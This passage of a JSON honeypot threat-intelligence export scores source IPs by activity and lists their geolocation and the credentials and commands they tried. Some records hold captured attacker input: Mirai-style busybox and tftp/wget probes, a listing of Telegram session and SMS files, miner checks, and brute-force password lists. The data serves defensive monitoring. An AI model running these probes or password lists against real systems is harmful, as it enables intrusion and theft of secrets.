        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T10:40:52.940000+00:00",
        "last_seen_30d": "2026-04-17T10:47:06.392000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "87.121.84.102": {
      "attack_count": 38,
      "first_seen": "2026-04-03T02:11:28.662Z",
      "last_seen": "2026-04-28T03:25:57.543Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T05:07:11.774000+00:00",
        "last_seen_30d": "2026-04-28T03:27:02.415000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39,
        "Cowrie": 38
      }
    },
    "142.93.208.47": {
      "attack_count": 35,
      "first_seen": "2026-04-10T13:33:12.075Z",
      "last_seen": "2026-04-13T02:11:22.097Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#1Kelltech",
        "1@kelltech",
        "2026.Kelltech",
        "@1kelltech",
        "Kelltech2026#",
        "kelltech",
        "kelltech.123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:33:12.075000+00:00",
        "last_seen_30d": "2026-04-13T02:12:31.403000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "83.233.242.192": {
      "attack_count": 35,
      "first_seen": "2026-04-18T19:26:18.997Z",
      "last_seen": "2026-04-18T19:27:13.645Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Malmo",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T19:26:18.997000+00:00",
        "last_seen_30d": "2026-04-18T19:28:17.161000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 4
      }
    },
    "103.90.226.229": {
      "attack_count": 28,
      "first_seen": "2026-04-30T09:37:28.731Z",
      "last_seen": "2026-04-30T09:41:40.194Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T09:37:28.731000+00:00",
        "last_seen_30d": "2026-04-30T09:42:49.794000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "223.123.38.33": {
      "attack_count": 28,
      "first_seen": "2026-04-19T21:28:01.385Z",
      "last_seen": "2026-04-19T21:31:02.886Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhang Sadar",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T21:28:01.385000+00:00",
        "last_seen_30d": "2026-04-19T21:32:06.827000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "94.243.8.187": {
      "attack_count": 26,
      "first_seen": "2026-04-16T21:07:27.146Z",
      "last_seen": "2026-04-16T21:10:27.500Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T21:07:27.146000+00:00",
        "last_seen_30d": "2026-04-16T21:11:31.673000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "188.12.100.131": {
      "attack_count": 24,
      "first_seen": "2026-04-23T23:39:19.142Z",
      "last_seen": "2026-04-23T23:39:26.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "1111",
        "54321",
        "ipcam_rt5350",
        "pass",
        "realtek"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox RXJAE",
        "cat /proc/mounts; /bin/busybox RXJAE",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RXJAE",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox RXJAE",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 3269,
      "as_org": "TIM",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T23:39:19.142000+00:00",
        "last_seen_30d": "2026-04-23T23:40:27.528000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 2
      }
    },
    "2.57.122.199": {
      "attack_count": 24,
      "first_seen": "2026-04-02T10:03:57.436Z",
      "last_seen": "2026-04-19T22:03:41.664Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:03:57.436000+00:00",
        "last_seen_30d": "2026-04-19T22:04:51.639000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "165.227.161.0": {
      "attack_count": 23,
      "first_seen": "2026-04-07T04:30:47.943Z",
      "last_seen": "2026-04-07T04:30:49.391Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close",
        "Accept: */*"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 177,
        "days_active_30d": 4,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-05T16:38:39.197000+00:00",
        "last_seen_30d": "2026-04-08T13:50:53.151000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 30,
        "Cowrie": 23,
        "Tanner": 2,
        "H0neytr4p": 1
      }
    },
    "153.99.92.39": {
      "attack_count": 22,
      "first_seen": "2026-04-12T00:58:45.750Z",
      "last_seen": "2026-04-12T01:02:02.935Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T00:58:45.750000+00:00",
        "last_seen_30d": "2026-04-12T01:12:06.009000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "83.142.111.31": {
      "attack_count": 22,
      "first_seen": "2026-04-30T10:55:50.151Z",
      "last_seen": "2026-04-30T11:08:04.498Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Chornomorsk",
      "asn": 15713,
      "as_org": "LLC Global-City-Net",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:55:50.151000+00:00",
        "last_seen_30d": "2026-04-30T11:09:06.639000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 13
      }
    },
    "172.94.9.204": {
      "attack_count": 18,
      "first_seen": "2026-04-10T11:40:49.359Z",
      "last_seen": "2026-04-15T15:25:11.316Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "1234",
        "1234kelltech",
        "Root123@kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:40:49.359000+00:00",
        "last_seen_30d": "2026-04-15T15:26:18.186000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "216.158.234.238": {
      "attack_count": 14,
      "first_seen": "2026-04-30T17:57:37.557Z",
      "last_seen": "2026-04-30T17:58:30.188Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:57:37.557000+00:00",
        "last_seen_30d": "2026-04-30T17:59:34.619000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "202.183.141.109": {
      "attack_count": 13,
      "first_seen": "2026-04-21T13:31:40.225Z",
      "last_seen": "2026-04-27T15:59:16.522Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45458,
      "as_org": "SBN-ISPAWN-ISP and SBN-NIXAWN-NIX",
      "threat_score": 41.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-21T13:31:40.225000+00:00",
        "last_seen_30d": "2026-04-28T10:32:51.444000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 13,
        "Honeytrap": 1
      }
    },
    "66.132.172.215": {
      "attack_count": 10,
      "first_seen": "2026-04-01T11:52:10.220Z",
      "last_seen": "2026-04-22T09:33:01.655Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 29,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T07:52:05+00:00",
        "last_seen_30d": "2026-04-29T00:24:17.230000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 49,
        "Cowrie": 10,
        "Ciscoasa": 6
      }
    },
    "66.132.224.235": {
      "attack_count": 10,
      "first_seen": "2026-04-02T06:04:20.912Z",
      "last_seen": "2026-04-15T01:39:20.143Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 30,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T00:41:00+00:00",
        "last_seen_30d": "2026-04-30T16:33:03.839000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 23,
        "Cowrie": 10,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "95.182.98.181": {
      "attack_count": 10,
      "first_seen": "2026-04-26T18:30:17.681Z",
      "last_seen": "2026-04-26T18:30:25.031Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "system",
        "user"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T18:30:17.681000+00:00",
        "last_seen_30d": "2026-04-26T18:31:31.468000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "205.210.31.246": {
      "attack_count": 8,
      "first_seen": "2026-04-03T16:11:42.507Z",
      "last_seen": "2026-04-23T22:33:20.679Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T00:36:52.473000+00:00",
        "last_seen_30d": "2026-04-30T03:17:20.840000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 25,
        "Cowrie": 8,
        "Dionaea": 1
      }
    },
    "66.228.53.46": {
      "attack_count": 7,
      "first_seen": "2026-04-06T09:39:31.455Z",
      "last_seen": "2026-04-06T09:39:31.798Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 80.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 27,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T18:17:39+00:00",
        "last_seen_30d": "2026-04-27T13:34:16.216000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 93,
        "Honeytrap": 54,
        "Cowrie": 7,
        "Dionaea": 2,
        "Tanner": 2
      }
    },
    "202.51.214.98": {
      "attack_count": 5,
      "first_seen": "2026-04-05T01:04:39.569Z",
      "last_seen": "2026-04-05T01:04:41.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "masoud"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 10220,
      "as_org": "PT. Kreasi Sejahtera Teknologi",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T01:04:39.569000+00:00",
        "last_seen_30d": "2026-04-05T01:05:50.307000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.197.17": {
      "attack_count": 5,
      "first_seen": "2026-04-04T13:36:51.306Z",
      "last_seen": "2026-04-29T11:20:57.151Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 323,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T01:05:49+00:00",
        "last_seen_30d": "2026-04-30T14:52:03.077000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 196,
        "Honeytrap": 91,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Cowrie": 5,
        "Dionaea": 5,
        "Ipphoney": 3,
        "ConPot": 2,
        "Miniprint": 2,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "147.185.132.108": {
      "attack_count": 4,
      "first_seen": "2026-04-28T10:41:02.403Z",
      "last_seen": "2026-04-28T10:41:04.986Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 28,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T20:38:05+00:00",
        "last_seen_30d": "2026-04-30T19:32:56.530000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Honeytrap": 25,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "159.65.176.39": {
      "attack_count": 4,
      "first_seen": "2026-04-29T06:13:41.861Z",
      "last_seen": "2026-04-29T06:13:49.865Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 155528,
        "days_active_30d": 17,
        "ports_targeted_30d": 63994,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-13T20:12:08+00:00",
        "last_seen_30d": "2026-04-29T15:06:58.632000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 132794,
        "Honeytrap": 22685,
        "Mailoney": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 5,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1
      }
    },
    "167.172.58.186": {
      "attack_count": 4,
      "first_seen": "2026-04-30T14:40:23.743Z",
      "last_seen": "2026-04-30T14:41:16.223Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T14:40:23.743000+00:00",
        "last_seen_30d": "2026-04-30T14:42:19.826000+00:00",
